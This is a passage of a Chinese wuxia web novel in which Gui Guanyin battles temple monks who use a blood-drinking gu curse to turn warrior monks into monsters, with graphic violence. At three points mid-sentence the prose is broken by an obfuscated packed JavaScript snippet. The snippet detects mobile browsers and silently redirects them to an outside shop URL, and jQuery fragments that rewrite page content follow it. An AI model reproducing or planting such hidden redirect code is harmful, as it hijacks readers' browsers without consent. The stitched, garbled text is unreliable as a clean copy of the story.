“鬼观音你也有胆子现身?”王岳生挺身而出,沉声道,“你毫无怜悯之心,为了达到自己的目的,会毫不留情地灭门杀人,你可曾讲过江湖道义?若你今日敢伤及无辜,必让你往后没有任何落脚之地!” 原湘湘静坐在人群后,听见这番话她不快起来,心道:“你们一群人围攻一个人也算义?” 自打来到此地,她的目光半刻也没有离开过那个犹如九天玄女下凡尘的人。 王岳生不远万里来此就是为了孤鸿剑,如今内力被封,孤鸿就在眼前却连手也伸不得……他自是心中恶气难当。但碍于鬼观音的本事,也不敢轻举妄动,只得出言威慑,妄图挽回点颜面。 一旁的苏叶挑眉轻瞥,面上神色复杂。 鬼观音覆手而立,因为被白纱遮住,没人看得清她的脸,可她的语气却有些喜不自禁:“那以正道规则来看,眼前少说也有几十人围攻我一人,这是否就是王岛主口中的‘江湖道义’?” 鬼观音甩动衣袖,一股清冷的药香倏忽而逝,她已站在王岳生面前。 “你!”王岳生竟她问的无话可说,面上青光闪过。 原湘湘在后面听见鬼观音这番话与她心中所想一致,又见王岳生吃瘪,心中不禁快活起来。 “那当年你杀死大太监后,血洗一十六门,敢问,杀了一门上下两百余人的你也是江湖道义?而后,我派大师姐远赴漠北玄霄门执行师门任务,恰逢你血洗玄霄门,你敢说我大师姐的死跟你没关系?”苏叶挺身直言,别人怕,她苏叶可不怕,否则,以后还怎么肩担峨眉,挑起责任? “我不认识她。”除此以外,鬼观音不再言说一字,周身的气息也逐渐窒息冷冽。 苏叶突然吃痛,被旁人捂嘴拉了下去。 正在气氛凝固之际,众人眼前突然划过一道弧形,然后一个修长的物什接滚落在地,原是奉国寺玄空方丈扔进来一个人,那人“扑扑”几下滚倒在地。 众人定睛一看,原是青城派的裴玉珠,此刻他已横躺在地上唇色发白,满身血污。 玄空方丈身上身披袈裟,步履从容,可他的面上却没有一丝慈悲为怀,似有恨意隐隐欲发。 他那硬如铁钩的手指紧紧扣着一个男子的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685487|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喉咙。 一旁的鬼观音微不可察地为之一震。 众人眼见玄空方丈沉默不语,眼中晦暗,唇角泛着缕缕鲜红,正如山间绽放的傲雪红梅一般耀目,他们又看向地上的裴玉珠,只见这个少年人面目惨白,脸上五官都扭打在一处,似乎十分痛苦,而他的颈间赫然露出两个如小指般粗细的血洞。 “方……丈大师!”苏叶惊声大叫。 王岳生喝道:“血蛊秘术!方丈大师你!” 原湘湘藏身在人群后,牢牢地盯着玄空,她一口银牙都快咬碎了满口血肉。 “快放开湘……湘……”裴玉珠显然神志不清。 苏叶当即上前,扶起浑身无力的裴玉珠交给身后几位江湖人士照拂着,只听她冷冷问道:“玄空大师这是何意?” 饶是傻子也能看得出是方丈玄空伤了裴玉珠,这师出无名的,即便奉国寺方丈是德高望重的长辈,苏叶很是不快。 “湘……还有湘……”裴玉珠被其他人搀扶着整理伤势,也担心原湘湘涉险。 苏叶看见满身是血的裴玉珠仍旧手指着玄空,他嘴里还在念念有词,嘀咕着原湘湘,她悄然间轻蔑了一声。 “方丈大师,你这是……为何?”王岳生率先发问,“难不成玄空大师多日不曾露面,也是因为修了霍洋的邪功?” “就这也算是霍洋的邪术?王岛主是指这种像野兽般茹毛饮血的人?”鬼观音上前打断,说到“人”字时,她明显饱含轻蔑,“他不是慈悲为怀的玄空大师。多年前我夜访天台寺,亲手将孤鸿剑交给方丈。可如今我两次三番拜访他,竟然连我这个老友都认不出。今夜我准备潜入署境阁一探究竟,而他却百般阻拦,企图杀我而后快。” 鬼观音缓步来到玄空面前,她身量细长且优雅,走起路来虽然慢却不减威压,鬼观音仔仔细细地打量着面前这个早已失去理智的老人。 “唰!”的一声,一张人皮面具落地。 原湘湘也瞬间得了自由,她凝眸与鬼观音擦肩而过,纵然不舍,也只得立刻离开。 众人望去,只见原先的玄空方丈变为了早已死去的玄同。 一时之间四下哗然,王岳生的脸色也不好看。 原湘湘倚在人后静静看着眼前人的一举一动,不动分毫。 得孤鸿者得天下——若是能得到三分剑鞘,解开灵帝墓之谜,莫说不老不死,就算称霸武林也不为过。 “把澄明交给我。”玄同满眼凶狠凌厉道,“不然,今日便轮到你们魂归地府,你们以为这奉国寺是想来就来想走就走的吗!” 他此前还留存丝丝恻隐之心,但是也在见到奄奄一息的澄明的那一瞬间灰飞烟灭。既然鬼观音敢下杀手,那他也不必留情。 玄同并指“咔嚓”一声切断那名男子的喉咙,他的周身缓缓升起淡淡血雾,殷红的血液顺着指尖缓缓爬下来。 那个毙命的男子的尸体瞬间化为枯朽,全身血液枯竭,身体犹如寒冬的枯枝。 玄同细细舔舐着指尖流淌而出的血液,眼中露出狰狞而贪婪的神色,原本被鬼观音打伤的伤口正在以肉眼可见的速度愈合。 “你从哪里得到的血蛊?”鬼观音的袍袖一滞,漫天月光也瞬间失色。 在场众人听见鬼观音这声厉叱纷纷变了脸色。 早就随着霍洋之死而消失的噬心血蛊竟然出现在堂堂奉国寺的二长老身上? 17. 万蛊噬心人无心 夜,是浓墨一般的黑,仿佛倾天滚滚而来的浓云压了下来。 身后是炙热滚烫的温度, “你们当真以为如今的奉国寺想来就来想走就走吗?”玄同环视众人,他的眼中毫无慈悲,只有嗜血般的凶残气息。 他被鬼观音当中揭穿身份,俨然怒不可遏。 众人亲眼见他喝干人的鲜血恢复伤势,已然被吓得不敢动弹。 “鬼观音你也在,今天你不交出孤鸿和剑鞘的下落,”不知何时,澄明已经慢慢站到了玄同的身旁,“如果不肯全盘招来,你以为整个奉国寺的人能逃得掉?” 说罢,澄明从怀中掏出一个金铃,那铃铛长约两寸左右,上面镌刻着祥云流水纹路。 他将金铃举过头顶,轻轻一摇,霎时间,一阵足以穿透耳膜的微小铃声从此处传向四周。 在场不少人都控制不住地捂住耳朵,面色痛苦难耐。这一声铃响,澄明才注入二分内力,但对于已经被疏影香散去内力的众人而言,无异于赤身裸体着被刀刃捅进身体。 原湘湘在人群的最后努力撑起身体,那铃声透过耳膜,几乎要将她的头颅撕裂。 鬼观音依旧长身玉立,夜风卷起她的衣带,飘飞乱舞。 “这铃声居然对你没用,”澄明冷冷一笑,“但你别以为到此为止了。” “你们把方丈怎么样了?” 她忽然瞬移到澄明面前,一把扣住他的喉咙,低声逼问道:“你们到底把方丈怎么样了?” “你……”澄明俊秀的脸庞变得扭曲而狰狞,“你……想知道?咳咳咳!” 鬼观音慢慢收紧力度,澄明因为窒息而痛苦不堪。 “快放了澄明!”玄同跃身袭来,掌风凌厉,鬼观音闻声不动,她稍稍转身,那一掌刚好擦着她的面纱而过。 最后她长袖抽回,又把澄明甩了回去。 玄同扶住澄明,问道:“鬼观音,我再问你一次,你到底说不说剑鞘的下落和揭秘方法?当年之人早都死光了,如今还能与前朝秘术相关的人此世唯有你一人。你不要以为不敢杀你都是为了留你活口好获取下落吧?” 鬼观音轻笑两声:“你们这般耐不住性子,也难怪成不了大事。” “你!” 玄同被她激怒,登时曲起两爪猛然朝她攻去! 此刻的玄同虽然还保留着人的外形,但他的四肢已经已经显现出了兽类的特征,极为粗硬的手指变得如同金铁一般,渗着血的指甲也变得如同铁钩。 他凌空一个翻身,接连掀起数阵爪风,犹如利刃一般飞向鬼观音。 鬼观音面对凌厉迅速的攻势并不反击,她反倒闲庭信步般飞速撤退,不歪不斜,转瞬消失在黑暗中,那道道掌风就这样扑了个空。 众人还未反应过来,她就又从黑暗中缓缓现出身来。 这是何等轻功?即便遇到修炼血蛊强行提升功力的人也不惧怕半分! 澄明在旁心急如焚,他高举金铃,将内力全部注入铃中,霎时间,铃声大作,震耳欲聋。 这铃声如同潮水一般扑向四面八方,内力催动音波,震得阆天塔上的六十四只金铃也随之一起鸣响。铺天盖地的铃声就像无数冤魂的哀嚎嘶吼,不断地朝四周蔓延,众人因为失去内力无法运功抵抗,只得捂住耳朵抵挡。 可是血肉之躯,又怎么能抵挡得住内力的攻击? 原湘湘藏身在后,她的头上冷汗入流,银牙紧咬,铃声一波一波袭入她的脑海,仿佛无数刀刃正将她的头颅一片片地割下来。 “你疯了!”王岳生忍着剧烈的疼痛冲到澄明面前,他飞出一掌,准备夺下金铃,可惜内力被封,反被澄明一掌打出几丈开外。 “哇啊!”王岳生勉强撑着坐起来,一口血径直喷来出来。 血腥气顿时弥漫在周围。 澄明望着前方还在与鬼观音缠斗的玄同,心中愈发焦急起来。他真正的师父,他的义父,又或是——他真正的父亲,为了他,已经抛弃了身为人的尊严。 为了得到复国的力量,不惜冒死吃下噬心血蛊,只为能够得到帮助自己的力量。 可是,还是难以与鬼观音打成平手! “拼了!”他祭出金铃,催动全部内力,顿时那铃声通天彻地,撕心裂肺。 场中不少人接连口吐鲜血,而后昏迷过去,原湘湘的脸上冷汗与血珠齐流,她还在坚持,她实在无法将眼睛从那个人的身上移开! “叮叮当当——” “叮叮当当——” 鬼观音不由得身形猛地停滞,顿时一道破风之声袭来,她颈边一寒,一片面纱被刃光削去大半,露出一个漂亮分明的下颌。 原来是玄同将插在地上的孤鸿握在手中。 “我还以为你的手已经硬得拿不了东西呢。”她冷冷一笑。 “少废话!”玄同双目血红,他的脸已经开始扭曲,皮肉分裂,獠牙森森。 他紧握着孤鸿的手在剧烈地颤抖着,不是因为恐惧,而是饥渴,那种发自内心而起的,无法控制的饥渴,就如同饥饿的野兽看见了新鲜的血肉一般,他渴望着血! 方才澄明催动金铃伤得众人纷纷口喷鲜血,而这弥漫不散的血腥气,正是引得他颤抖,饥渴的原因,他对鲜血的渴望,已然快要发了疯! “啊啊啊!!” 玄同仰天长啸,立时将孤鸿刺进腹中又拔出,顿时鲜血四溅,可是玄同并没有倒下,他的伤口在慢慢复苏,他的神智也在慢慢归来。 还留有神智的几人大惊失色,他们不禁慢慢向后挪移着,眼前的玄同,似乎已然不是人的存在了。 原湘湘怔愣在原地,青灰色的眼眸中俱是难以置信。 孤鸿本就削铁如泥,借它勉强控制神智的玄同更是毫无迟钝,他挥剑如棍更似刀,力大无穷,朝着鬼观音砍去,鬼观音不躲不闪,抬手便挡,长手在即将接触剑刃的一瞬间,踏步轻移,转换身形,长手如水中游鱼一般翻转,在玄同腕间一拍,只听“当啷”一声,孤鸿脱手坠地。 “你已经不再是人了,这样的你,我没有兴趣。”鬼观音登时踢起孤鸿,而后腕间一转,孤鸿径直刺进玄同的心口。 “哗!”的一下,剑刃拔出,剑尖上还凝着一块极小极鲜红的血,鬼观音毫不犹豫地将剑插进了地里,剑身嗡嗡作响。 “义父!”澄明飞扑着过去,他将奄奄一息的玄同搂在怀中,只慌得手忙脚乱去包扎,“鬼观音!你不要以为这就完了!” 澄明怒目圆睁,他死死地盯着鬼观音,眼中似乎有烈火喷出来一般,正如同他面前那猛烈燃烧的红莲烈火。 他厉声喝道:“鬼观音!你看那是谁!” 他伸手指向不远处的阆天塔。 精美辉煌的八角木塔沐浴在火焰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685488|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中,那层层绽放的红莲将它紧紧包裹,塔身周围像是镀了一层金色的佛光,灿若云霞。 鬼观音回头,那里空无一人。 她正欲开口,忽然腹中一阵剧痛,犹如百千把利刃同时插入腹中一般,低头看下去,一只苍老而有力的手正好抵在她的腹前。 “咳!”她一咬牙关,嘴角浮现丝丝血迹。 原湘湘本在一旁察言观色,可鬼观音忽然受伤让她大惊失色。 什么人?何时来的?她心若火焚。 此时,铃声已经停止,头痛之苦已经稍有缓解,她知道鬼观音处境甚危,便悄悄隐了声音,潜进暗处。 “怎么回事?” “血蛊不是早就已经灭绝了吗?难道说霍洋还没死?” “我看又是鬼观音干的!” 众人刚从剧烈的疼痛中苏醒,场面一度混乱不堪。 本来只是来奉国寺杀鬼夺剑,可不曾想奉国寺内二长老与方丈大师的关门弟子竟起了反叛之心;本以为一定会死无葬身之地时,他们又发现鬼观音被一人打伤不得动弹。 “方丈大师!是方丈大师!”苏叶率先叫道,“我们有救了!” 众人跟着她的目光看去,果不其然,原本力压玄同与澄明的鬼观音,如今却好似枯木一般,愣在原地。 玄空方丈缓缓收手,苍老的面容上毫无慈悲,仅剩下了无止尽的冰冷。 血,从鬼观音的下颌处,滴滴点点流出,溅落在她的白衣之上,就好像凌寒怒放的红梅。 暗中,有人牙根紧咬,恨不得化为野兽一口扑上去。 “你方才……就是用唤魂铃来召唤吗?你从哪儿得来的!”白纱之下,鬼观音咬牙怒道。 “噬心蛊是大太监的手笔,你不比我们清楚?”澄明紧紧护住怀中的玄空,面色阴森,忿忿道,“你身为大太监的弟子,难道不比我们清楚噬心蛊的用途?” 鬼观音不置可否。 “你们这些贼人,千方百计要取得噬心蛊,不就是为了让修为突飞猛进?”王岳生已然恢复,“炼蛊吸血,将他人多年修为据为己有,已求不老不死,天下无敌……真是恶心!” 澄明轻轻摇动手中金铃,铃声刚起,玄空便飞身来到王岳生面前,王岳生登时脸色大变。 “这就是你弃若敝履的噬心蛊,怎么,不想尝尝它的味道吗?”澄明说罢,铃声又起。 玄空飞起一掌便打向王岳生。 王岳生慌忙躲避不及,忽然被一个飞扑而来的影子拖开,待他回过神时,原是一个黑衣的年轻人救了他。 二人不及寒暄,玄空又飞扑而至,慌忙之中只得御起手中武器抵挡,可是被封了内力的他们,很快就招架不住。 眼见玄空招招袭来,即将毙命,危急时刻,二人眼前飘过一缕淡香,竟是鬼观音飞身而至,她持剑而来,救下了王、李二人。 两个人见自己被大魔头救下,心中更是愤慨,于是李源知怒道:“趁着这个时候,我们毁了那铃铛!” 澄明轻轻一笑,俊秀的脸庞上洒满了血痕,映着滔天火光,显出几分诡异:“你们不会真以为——我们卧底奉国寺快二十年了,真的只是来当和尚的?” 说罢,漫天空野里回荡起一阵狂放的笑声,那笑声又伴着刺耳的铃声涌向四面八方。 “既然义父已经无药可救,那你们都来给他陪葬!” 18. 昔年时雨纷纷断人魂 夜,是浓墨一般的黑,仿佛倾天滚滚而来的浓云压了下来,是粘稠到化不开的暗夜。 身旁,是凛冽无尽的寒雨。 冷风肆虐,风摇树影乱。 “求天台寺玄空方丈广开慈悲,救我幼子韩云一命。” 瓢泼冷雨,凄厉哭声,千尺高山,神佛慈悲。 这是一个满身伤痕,衣裳破烂,头发如泥一般染在脸上的落魄男人。 “求天台寺方丈广开慈悲,救我幼子韩云一命。”男人再跪再拜。 “李校尉……”从他破烂的衣衫里钻出一个约莫三岁左右的孩子。 那孩子面目清秀,身上毫发无伤,可他实在太瘦太小,伸出去为男人抚去雨水的小手,就如同弃之路边的细枝一般,仿佛轻轻一碰就能两断。 “韩云殿下,您快躲起来。”男人干枯的嘴唇终于被雨水润湿了些,“记住,要是他们开了门,无论他们问什么你都说是从南边逃难来的,一定不能被叛贼抓住。” 李校尉脏污不堪的脸上,唯有双目依旧清明。 “好,那我就陪你一起跪,往后我们就是同生共死的父子。”韩云挣脱李校尉的保护,与他一同跪在了天台寺山门前。 “求天台寺玄空方丈广开慈悲,救我们父子二人于水火!” 一大一小,二人在凄风苦雨里跪拜。 两个月前。 秋风悲切,河冰已结。 偌大的锦绣宫殿中并没有燃起火炉,整个殿中只亮着几盏宫灯,织锦珠帘,琉璃屏风,紫檀木桌,尽数隐没在黑暗的寒冷中。 窗外,隐隐听得见轰鸣的厮杀声,红色的火光映彻殿中。 殿中,一个衣着讲究但并不华丽的苗条女子正抱着一个孩子哭泣。这名女子大约三十余岁,虽然居住在在这偌大的殿中,但周身用度却朴素之极,唯有发上一柄雕镂精湛的衔凤金钗熠熠耀眼。 “听着,韩云,”那女子满面泪痕依旧难掩秀色,她道,“马上接你的人就要来了,他会带你去北边,去那里找你真正的父亲。” 韩云不舍地点点头。 他紧紧抱住面前那个女子,他知道,此别即是死别。 “娘,我不哭,我一定会找到那个人的。” “好孩子。”女人柔声道,“娘亲已经走不了了,但你要好好活下去。” 殿外的嘈杂声愈发浓烈,火光也如同鲜血一般映红了天边。 “吱呀”一声轻响,而后沉重的盔甲相撞之声涌进殿中,血腥气瞬间充斥着整个空间。 “云妃娘娘,姓沈的狗贼已经带兵攻破承天门,马上就要进入皇宫了!”殿中的阴影里,快步走出一个身着铠甲的束发军人。 那男人虎背熊腰,高大威猛,手持一柄精铁无罡棍守护在这对母子身边,但他满身血污,面色苍白。 “李校尉,往后就拜托你了,云儿是皇家最后的血脉。”云妃抬头,她审视着面前这个男人,怒声道,“李校尉,云儿是灵生帝唯一的血脉!” “属下谨记!”男人跪下,他沉声应下,“无论如何,属下都会谨记娘娘的嘱托,一定不会忘记沈狗所做的一切!” 殿外,厮杀声如同雷鸣,火焰滔天,忽而一道紫光正北方向升起,随后他就不记得了。 “哈哈哈哈!哈哈哈哈!”澄明手持金铃,仰天长啸,“你们当真以为我们卧底这么多年什么都不做!?要怪就怪那个你们口中的玄空大师冷酷无情吧!” 澄明催动内力,金铃又一次疯狂作响,众人还未来得及反应,那铃铛就碎成数块。 “怎么!?”王岳生和李源知面面相觑。 李源知神色凝重,他隐约感觉不妙,转头便对苏叶道:“小玉就先劳烦苏姑娘了!” 说罢,他将重伤的裴玉珠送到苏叶身边。 苏叶虽然抿着嘴,似是不悦,但也点头应下。 金铃一破,原先被控制的玄空不仅没有停下对鬼观音的攻击,他的攻势反而更加猛烈更加频繁,鬼观音手中的孤鸿频频被玄空的掌风弹开,在众人眼中,她只得连连后退。 她持剑的虎口一酸,手也不住地微微颤抖着。 玄空面色如冰,双目通红,不言不语,只是一味地攻击鬼观音。 众人见那边无法插手,正欲持剑与澄明对峙时,一时之间,他们的耳边响起了诡异的说话声。 那声音像是絮语,像是呼吸,又像是饥饿难耐时的嚎叫。 澄明看着火光,微微一笑。 “时候已到,都起来吧!”他奋力一吼,声音被内力推及数里外。 众人自发聚在一起,所有能行动的人都拿起武器,他们感觉到心脏在控制不住地狂跳。 周围愈发粗重的呼吸声,让他们惊惧不已,没来由的害怕。 “啊!” 忽闻一人惊呼,众人闻声望去,地上直挺挺躺着两截断尸,从颈部开始被直接咬断,鲜血箭一般从颈部缺口喷出。 “唔!”有人控制不住呕吐起来。 “澄明,你到底做了什么!”王岳生翻身跃向澄明,正欲一掌劈下,忽觉耳后一股腥气冷风袭来,下一刻一张长着獠牙的巨口出现在他面前。 先前那些倒下的武僧此刻全部苏醒,但是——他们都已经失去神志,变成了一具具行尸走肉。 “你把他们都变成了不人不鬼的怪物!?” 王岳生见那张巨口径直迎着自己的手掌而来,他立刻收手而回,颤抖着落地。 “什么叫变成了?”澄明轻轻抚摸着怀中喘息着的玄同,突然愤怒道,“那是他们不中用!” 他暴怒而起,清秀的脸庞变得异常扭曲:“还说是习武之人!结果又有多少人能承受得住噬心蛊的效力?都是一群废物!不都是半途就死了,剩下的基本都是喂下去就死了!” 澄明放下怀中的玄中,他怒吼着,暴怒着:“习武之人尚且如此,普通人又有多少人能成功?!” “所以,你就是想效仿霍洋再来一次‘蜕仙’吗?’”李源知持剑指向几乎快要癫狂的澄明,“你难道不知道那种邪术对于绝大多数人而言就是毒药吗?就算侥幸没死,也只会变成不人不鬼的见不得光的怪物!根本就没有什么不老不死!” “可是他们都变强了。”澄明对着王、李二人莞尔一笑,漫天红光下,他俊秀的脸煞是好看,“活下来的都获得了更强的量,几乎以一敌百。难道说,你不动心吗?” 说罢,澄明指向正在和玄空缠斗的鬼观音。 “你真的不动心吗?”澄明的话语如同恶魔低语,久久萦绕在他们耳际,“为了愿复仇,我甘愿付出一切!牺牲一切!” “那你也不能把两位长老都喂下蛊毒,变成你的工具!”王岳生怒喝。 澄明闻言,脸色巨变:“他们都是自愿的!义父与我相依为命,我们自是心甘情愿;而他——那是他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685489|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欠我的!他该!” 他又一次怒号着,疯狂的语言,扭曲的神情交织在一起,很难和平时沉稳持重的澄明师傅联系在一起。 “只要能得到剑鞘,就能解开邪术的秘密,这样……大家都会变强,都会成为我的助力,我要报沈狗灭门之仇!沈狗一族以下犯上,大逆不道,死有余辜!哈哈哈哈,这天下的皇位哪里轮得到他们来坐!” “方丈大师,鬼观音就劳烦您了!”说罢,澄明朝着鬼观音的方向躬身一礼,随即,玄空方丈额上筋脉暴起,他周身威压带起股股风流,四周呼呼作响,众人不由得被那威压困住不得动弹。 “真不愧是得道高僧!”暗中的原湘湘强撑着痛苦不让身体跪倒,她只得尽力捂住胸口,让自己不要吐出鲜血引来那些怪物。 “而你们,当然都是他们的食物!哈哈哈哈!”澄明迎着火光放声大笑,然后先前倒下的那些守塔和尚全部都颤颤巍巍地从地上爬起来,他们的身体不住地流血,血肉不断的溃烂又新生,口中生出尖长的獠牙,疯狂朝着众人袭来! “哈哈哈哈!” 一片厮杀,满地血腥中绽放着澄明的笑声。 十数个化为怪物的武僧都朝着场中人飞扑而来,他们是最低等的试验品,从蛊毒中活下来的那一刻,从蛊虫被彻底唤醒的那一刻开始,他们的身体就会不停地溃烂,直到彻底化为无有。 可是,体内的蛊虫不会允许死亡,因此会驱使他们疯狂吸食一切活人的血肉,用别人的血肉为体内的蛊虫提供生命,这就是噬心蛊的力量,所谓“移花接木”。 王、李二人勉强力战,无奈那些怪物怎么都无法被杀死,即便一剑削断双手,他们也会因为喝到新鲜的活人血液慢慢恢复伤口。 “能拿起武器的快围起来,保护好身受重伤的!我们不能变成他们的食物!”王岳生手中拿着一柄不知何处而来的长剑,那剑的主人片刻前就在王岳生面前被那些怪物分食。 李源知慢慢靠近裴玉珠,此时苏叶也顺了一把剑与他并肩而立。 李源知道:“大家不要慌!现在离天亮还有一个时辰左右,我们只要撑到天亮就能彻底灭了这些怪物!” “哦,真的是这样吗?”澄明又一次笑道,他站在高处,居高临下地望着眼前被淹没在红海之中的众人,轻佻地瘪瘪嘴。 而后,他又看向鬼观音,“嘁!真是难缠!” 鬼观音手持孤鸿频频后退,虽然玄空被噬心蛊控制而且功力大增,但是能看出鬼观音一直不曾还手,不知为何,她只是一味的躲闪,不肯出一招。 “那你就等死吧!鬼观音!”澄明猛然拍响两掌。 清脆的掌声犹如抽在众人的脸上一般,将他们动作和深思都打出了身体之外。 “走开!”众人突闻一声怒斥,而后一道长鞭破空而来,随即一抹红影从天而降,还未等他们彻底回过神来时,便见一个瘦削而轻盈的少女从天而降,那灰白色的长鞭如同活着的蛇一般快速缠上袭来的两个武僧的脖颈,然后迅速收紧。 “原姑娘!”李源知满脸的难以置信。 原湘湘目似冷刀,她咬紧牙关,奋力拉回长鞭,“哧哧哧”的皮肉骨骼断裂的声音顿时响起。 “没用的,原姑娘,这些东西——” 李源知话到一半被苏叶挥剑打断:“仔细看着。” 苏叶目色复杂,说不上来是愤怒还是开心,又或是忧愁。 19. 兔起鹘落湘湘大杀四方 原湘湘本来一直都潜伏在暗处,她是担心鬼观音遭遇偷袭,同时也为自己的性命担忧。可是,在得知那澄明竟然将活人抓起来用来做噬心蛊的实验时,她本来一直潜伏在暗处的心终是无法按捺—— “我绝不会原谅任何一个这样做的人!”黑暗中,她几乎将自己的嘴唇咬得血肉模糊。 澄明一掌拍下,恍惚间让众人失去反应,那些武僧还有之前的玄同,玄中全都慢慢起身,眼见众人还没有立刻回神,但是那些武僧怪物已经蜂拥而至,她登时强行催动内力,一跃而出。 长鞭蛇形而出,直接缠住最近的二人脖颈,立时收紧,将那本身就在不断溃烂的脖子勒得血肉横飞,眼见很快就要见骨,那些怪物全身的血液瞬间涌向脖颈处,瞬间两个怪物的颈间都涌出淡淡的红雾。 那些红雾丝丝缕缕,像是有生命的丝线一般涌进伤口,很快又将断颈修补完整。 “原姑娘,他们是——” 李源知话到一半,被一道剑光打断,苏叶横剑砍下一个武僧干枯的左臂。 她道:“你且看着,别管她了,尽早保护好其他人。” 言毕,苏叶神色复杂地望了原湘湘一眼。 原湘湘只觉眼前红光闪烁,刀光剑影,血雾弥漫,哀嚎怒吼充斥着她的耳朵,她逐渐力敌不过,那被血藤鞭捆住的两个武僧竟然慢慢朝她奔来! “嘁!”她低低一怒,然后继续强行催动内力,可是疏影香的效力又岂是轻易消失的? 强行催动内力,会筋脉尽断,沦为废人。 原湘湘运起内力,兔起鹘落间,将那两个武僧脖颈直接勒断,霎时间,血喷如雨,她的那柄长鞭也被染成了红色。 时间紧迫,不容思考,她纵身扑出,形似飞鸟,脚不停步,足不点地,手中长鞭飞舞如同舞女拂袖,红光闪烁,直冲云霄,哀嚎遍起,头颅尽断,血喷如柱。 只要,只要我不停下,就不会有更多的人像我一样。 几个起落间,她已经重新来到众人身旁,眼见玄中打飞苏叶和李源知,就要一口咬中躺在地上的裴玉珠—— “咻!” 一声锐响,鞭梢擦着苏叶的发丝而过,然后立刻迎着玄中的脖子盘旋而上。 原湘湘冷冷看着前方,素来毫无情绪的眼中此刻却布满了血丝,泛起滴滴水光。 不待她运劲,那通体彻红的长鞭如同蟒蛇一般自行活动起来,鞭身一圈圈的绕住玄中的脖子,然后不断收紧,绞断血肉,割断颈骨,然后红雾涌出,伤口复原,继而再次收紧,再次绞断…… 一次次的绞断中,整根鞭子变得愈来愈接近血的颜色,红得刺目,直至最后一击,彻底将玄中的人头绞断落地。 “砰!” 玄中的人头“骨碌碌”滚到一旁,他的尸体苍白,并没有喷出鲜血,是因为已无血液可喷。 不多时,他的尸体心口处爆出一声闷响。 “砍脖子!”王岳生见状,立刻吩咐道。 余下还有余力战斗的侠士们,纷纷捡起身边的武器加入战斗,又是一片刀光起,血影落,哀嚎怒吼,尖锐爆鸣,不绝于耳,直到彻底清静。 原湘湘大口喘着粗气,她还维持着弓身发力的姿势,此刻她的全身仿佛每一处关节都像被打入铁钉一般剧痛不已。 好在,终于救了下来。 她缓缓回头,侧身看着同样因为强行运功而痛苦不已的裴玉珠,她道:“我不欠你了。” 裴玉珠也像是心灵感应一般,长闭着的双目此刻也已睁开,布满血迹的娃娃脸朦朦胧胧,像是开满了花,不知是在笑还是在哭。 “好。”他轻声回应道。 这边原湘湘与众人才刚刚解决了玄中与十多个武僧,那边就听得隆隆作响,风声缭乱。 “鬼观音,你今日就算插翅也难逃!”澄明暴喝一声,挥起无罡棍与玄同、玄空三人一起冲向鬼观音。 红莲灼灼,棍影闪动,人影飘忽,原湘湘看见那三人一齐将鬼观音逼至阆天塔塔下。 火焰冲天,塔身已经开始倾斜,不少烧着的木头如同凋零的花瓣一般接连掉落下来。 鬼观音依旧不停避让,玄同,玄空二人本就修为高深,如今在噬心蛊的作用下,丧失了理智后更是不可言语。 她只顾着躲避,却不料澄明那厮持棍潜在前面二人的阴影中,伺机而动。 “我不会让你死的那么痛快!”澄明大喝一声,身形已经来到鬼观音身后,“观音血!” 他狞笑一声,棍影从鬼观音身后凭空飞出,眼见就要贯穿鬼观音的身体,鬼观音腕间飞转,孤鸿银光一闪,剑身从她的前面来到身后,只一瞬就将无罡棍一分为二。 可时间不给鬼观音反应,此前她腹背受敌,剑身刚刚砍断无罡棍,玄同和玄空二人就立刻飞扑而上! “咳!!”玄空一掌打中鬼观音的胸口,她口喷鲜血,显然受伤不轻。 玄空抽出佛珠一一弹射开来,鬼观音立时飞身躲避。 与此同时,一阵诡异的声响渐渐传开,鬼观音回首一望,见玄同正痛苦地站在原地。 虽然已经被噬心蛊控制,一幅狰狞可怖的样子,但此刻他的脖子被一条红色的长蛇死死缠住,并且那长蛇还在不断地收紧,不断地移动。 周围响起了令人颤栗不已的心跳声。 玄同的脖子在吱吱作响,那长蛇正在一点点地勒断他的身体,可是他的身体却在不断地涌出血雾修补身体,不断地溃烂,不断地复原……很快玄同的下肢就迅速干瘪,变得就像枯枝。 原湘湘见状,立刻盘手收鞭,那血色长蛇立刻游回原湘湘的身边,她将玄同拉近到身旁,然后一脚飞出,将他踩在脚下。 咯吱咯吱。 咯吱咯吱。 肢体断裂的碎响回旋在耳际,原湘湘依旧面不改色地脚往下踩,手上收紧,她要把这颗坚硬无比的头颅生生从脖子上拧下来!毫无半点留情,毫无半点手软! “咔!”一声惊异的脆响,只见玄同僵硬的脖子忽然软了一下,原湘湘只觉手里一松,心也跟着一松…… 